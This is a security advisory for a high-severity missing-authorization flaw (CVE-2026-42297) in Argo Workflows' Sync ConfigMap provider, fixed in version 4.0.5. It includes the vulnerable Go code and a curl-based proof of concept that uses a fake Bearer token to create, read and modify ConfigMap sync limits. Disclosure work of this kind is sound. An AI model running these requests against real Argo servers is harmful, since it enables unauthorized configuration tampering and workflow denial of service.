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Missing Authorization in Sync ConfigMap Provider

High
Joibel published GHSA-xchc-cqwg-g76q Apr 23, 2026

Package

gomod github.com/argoproj/argo-workflows (Go)

Affected versions

>=4.0.0, < 4.0.5

Patched versions

4.0.5

Description

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
  • server/sync/sync_cm.go — lines 23-155
  • All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

  • Argo Server running with --auth-mode=server
  • Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default
NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999

Impact

An attacker with network access to the Argo Server can:

  1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution
  2. Workflow Disruption — Modify existing sync limits to break running workflows
  3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration
  4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H

CVE ID

CVE-2026-42297

Weaknesses

No CWEs

Credits